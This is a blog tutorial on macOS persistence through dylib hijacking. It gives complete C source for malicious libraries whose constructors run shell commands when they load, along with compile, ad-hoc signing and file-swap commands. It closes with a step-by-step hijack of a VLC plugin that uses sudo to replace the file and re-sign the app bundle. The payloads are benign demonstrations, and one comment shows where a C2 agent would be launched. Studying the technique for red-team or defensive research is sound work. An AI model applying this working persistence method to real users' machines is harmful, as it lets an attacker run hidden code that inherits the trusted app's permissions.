6 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In the previous posts, we covered how to stay alive via LaunchAgents and shell environment hijacking in my macOS Sonoma VM. Today, we move into a stealthier realm: Dylib Hijacking.

The concept is classic: instead of creating a new service that triggers security alerts, we subvert an existing, legitimate application by hijacking its dynamic library dependencies.

missing validation and executable_path

MacOS applications rely on .dylib files. In many third-party apps, these libraries are loaded using relative paths like @executable_path. If an application is not protected by Library Validation (a security flag that ensures only libraries signed by the same developer are loaded), we can swap a legitimate library for our own.

On macOS, targeting system apps is impossible due to SIP and Sealed System Volumes. However, third-party apps like VLC, Discord, or Spotify often disable library validation to remain modular.

practical example 1

First of all, to understand the mechanics, let’s build a vulnerable environment from scratch. We have a “legit” app called bird and a “legit” library called quack.

Victim app (bird.c):

/*
 * macOS hacking
 * persistence 3: dylib hijacking
 * legit app: bird
 * author: @cocomelonc
*/
#include <stdio.h>

// declare the function we will use from the dylib
void hello_from_quack();

int main() {
  printf("bird: Victim app started...\n");
  hello_from_quack();
  printf("bird: Victim app exiting.\n");
  return 0;
}

As you can see, simple logic. Printing something for demo purposes :)

Legit library (quack.c):

/*
 * macOS hacking
 * persistence 3: dylib hijacking
 * legit app dylib: quack
 * author: @cocomelonc
*/
#include <stdio.h>

// standard function
void hello_from_quack() {
  printf("legitimate library: Quack-quack...\n");
}

Then we need “evil” library. We use a constructor to execute code the moment the dylib hits the memory (hack.c):

/*
 * macOS hacking
 * persistence 3: dylib hijacking
 * evil library: hack
 * author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// the constructor runs as soon as the dylib is loaded into memory
__attribute__((constructor))
void my_init() {
  printf("\nhijacked! malicious code is running in process: %d\n", getpid());
  // Persistence trigger: create a file in /tmp
  system("touch /tmp/meow.txt");
}

// we MUST provide the same function name as the original, 
// or the app will crash with "Symbol not found"
void hello_from_quack() {
  printf("malicious library: pretending to be a duck...\n");
}

The function names in the malicious library must match those expected by the application (in our code, the bad library had hello_from_quack).

In modern macOS (in my case it’s macOS Sonoma VM), binaries and libraries must be signed (at least with a local signature).

demo 1

Let’s see everything in action. Compile a legitimate library. We immediately give it an “installation name” (install_name) via @executable_path. This tells the application to look for it in the same folder as the bird file itself:

clang -dynamiclib quack.c -o libquack.dylib -install_name @executable_path/libquack.dylib

malware

Then, compile and link app:

clang bird.c -L. -lquack -o bird

malware

Compiling our “evil” library:

clang -dynamiclib hack.c -o libhack.dylib

malware

Even if you don’t have a paid developer account, you need to sign them “ad-hoc” (locally), otherwise macOS will block the launch.

codesign -s - --force bird
codesign -s - --force libquack.dylib
codesign -s - --force libhack.dylib

malware

First, checking normal behavior:

./bird

malware

For checking hijacking logic, we simply replace the legitimate library file with our malicious one, renaming it.

mv libquack.dylib libquack.dylib.bak
cp libhack.dylib libquack.dylib

malware

and run again:

./bird

malware

As you can see, everything is worked as expected! Perfect! =^..^=

Advanced trick (Dylib Proxying): In real APT attacks, the malicious library itself calls dlopen(“libquack.dylib.bak”). Then the user will see both the original “Quack-quack” and the malicious code will execute. This is called Dylib Proxying.

practical example 2 (real world scenario: VLC plugin hijacking)

First, you need to install VLC application in the victim’s machine:

malware

Then, run:

otool -L /Applications/VLC.app/Contents/MacOS/VLC

malware

I decided to replace this one libvlccore.dylib:

malware

Let’s try to replacing it with my own, as we did in the example with libquack.dylib.

Run:

codesign -d --entitlements :- /Applications/VLC.app | grep "disable-library-validation"

Since, if you see <key>com.apple.security.cs.disable-library-validation</key><true/>, that means the door is open! VLC intentionally disables library signature checking so users can add their own codecs.

malware

Created my “evil” app, and replace:

malware

malware

But, finally, whem run our VLC again:

malware

Nothing happened, just crashed!

Then, I tried revert everything, but even in this case, my VLC immediately crashed!

Attempting to hijack the core engine of a major app (libvlccore) often leads to a crash because modern macOS checks the bundle integrity. A more reliable way is to target Plugins. Plugins are dynamic, secondary, and often less protected.

malware

malware

As you can see, VLC has hundreds of plugins. We’ll choose something simple, like libstats_plugin.dylib. The strategy: we will hijack libstats_plugin.dylib. We won’t just replace it; we will proxy it so VLC doesn’t crash:

malware

My “evil” library (hack2.c):

/*
 * macOS hacking
 * persistence 3: dylib hijacking
 * evil library: hack2
 * victim library: libstats_plugin.dylib (VLC plugin)
 * author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>

/* 
 * this constructor runs the moment VLC loads the dylib.
 * we run the payload in the background (&) so VLC doesn't hang.
 */
__attribute__((constructor))
void load_malware() {
  // for the demo: Create a file and send a notification
  system("touch /tmp/meow.txt");
  
  // write to /tmp to bypass Folder Permissions (TCC)
  char *filePath = "/tmp/meow.txt";
    
  // simple log to verify execution
  char command[1024];
  snprintf(command, sizeof(command), "/usr/sbin/system_profiler SPSoftwareDataType > %s 2>&1", filePath);
  system(command);

  FILE *f = fopen(filePath, "a");
  if (f) {
    fprintf(f, "\nexecuted as UID: %d\n", getuid());
    fclose(f);
  }
  /* 
   * in a real scenario, we would execute our C2 agent like this:
   * system("/Users/Shared/hack &"); 
   */
}

__attribute__((destructor))
void cleanup() {
  // path to original
  void* handle = dlopen("/Applications/VLC.app/Contents/MacOS/plugins/libstats_plugin.dylib.bak", RTLD_NOW);
  if (!handle) {
    printf("Failed to load original plugin\n");
  }
}

Note that I used dlopen here. It’s a more programmatic and stable method for C:

demo 2

Let’s see this trick in action. Compile “evil” proxy library:

clang -dynamiclib hack2.c -o libstats_plugin.dylib

malware

Rename the real plugin inside VLC bundle:

cd /Applications/VLC.app/Contents/MacOS/plugins/
sudo mv libstats_plugin.dylib libstats_plugin.dylib.bak
sudo cp ~/Desktop/meow/libstats_plugin.dylib ./

malware

Then, sign. We must re-sign the entire .app bundle locally:

sudo codesign -s - --force libstats_plugin.dylib
sudo codesign -s - --force --deep /Applications/VLC.app

malware

Finally, trigger:

open /Applications/VLC.app

malware

malware

Pwned! As you can see, our logic worked perfectly, as expected! Meow! =^..^=

Unfortunately, I can’t test it on my test Macbook with M1 right now, but I think it will work perfectly there too.

conclusion

If the user granted VLC permission to access the Microphone or Full Disk Access, your hijacked dylib inherits those permissions automatically. In my macOS Sonoma VM (I think the same behavior in another recent MacOS), changing a single file inside an .app breaks the seal. The --deep flag in codesign is mandatory to make the system trust the modified bundle again.

Since OceanLotus is perhaps the most notorious group for macOS targeting, as I know, their primary implant, macOS.OceanLotus, has used dylib hijacking in several campaigns. The Lazarus Group also has frequently employed dylib hijacking. Empire has a dylib hijacker module that can make a malicious dylib if it is given the path to a valid dylib of an app that is vulnerable.

Commercial spyware vendors like Gamma Group (FinSpy) have historically used dylib hijacking for their macOS implants.

I hope that this post is useful for malware R&D and red teaming labs, Apple/Mac researchers and also for blue team specialists.

MITRE ATT&CK: Dylib Hijacking
Lazarus Group
APT32
Empire
FinFisher
macOS hacking part 1
macOS persistence part 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine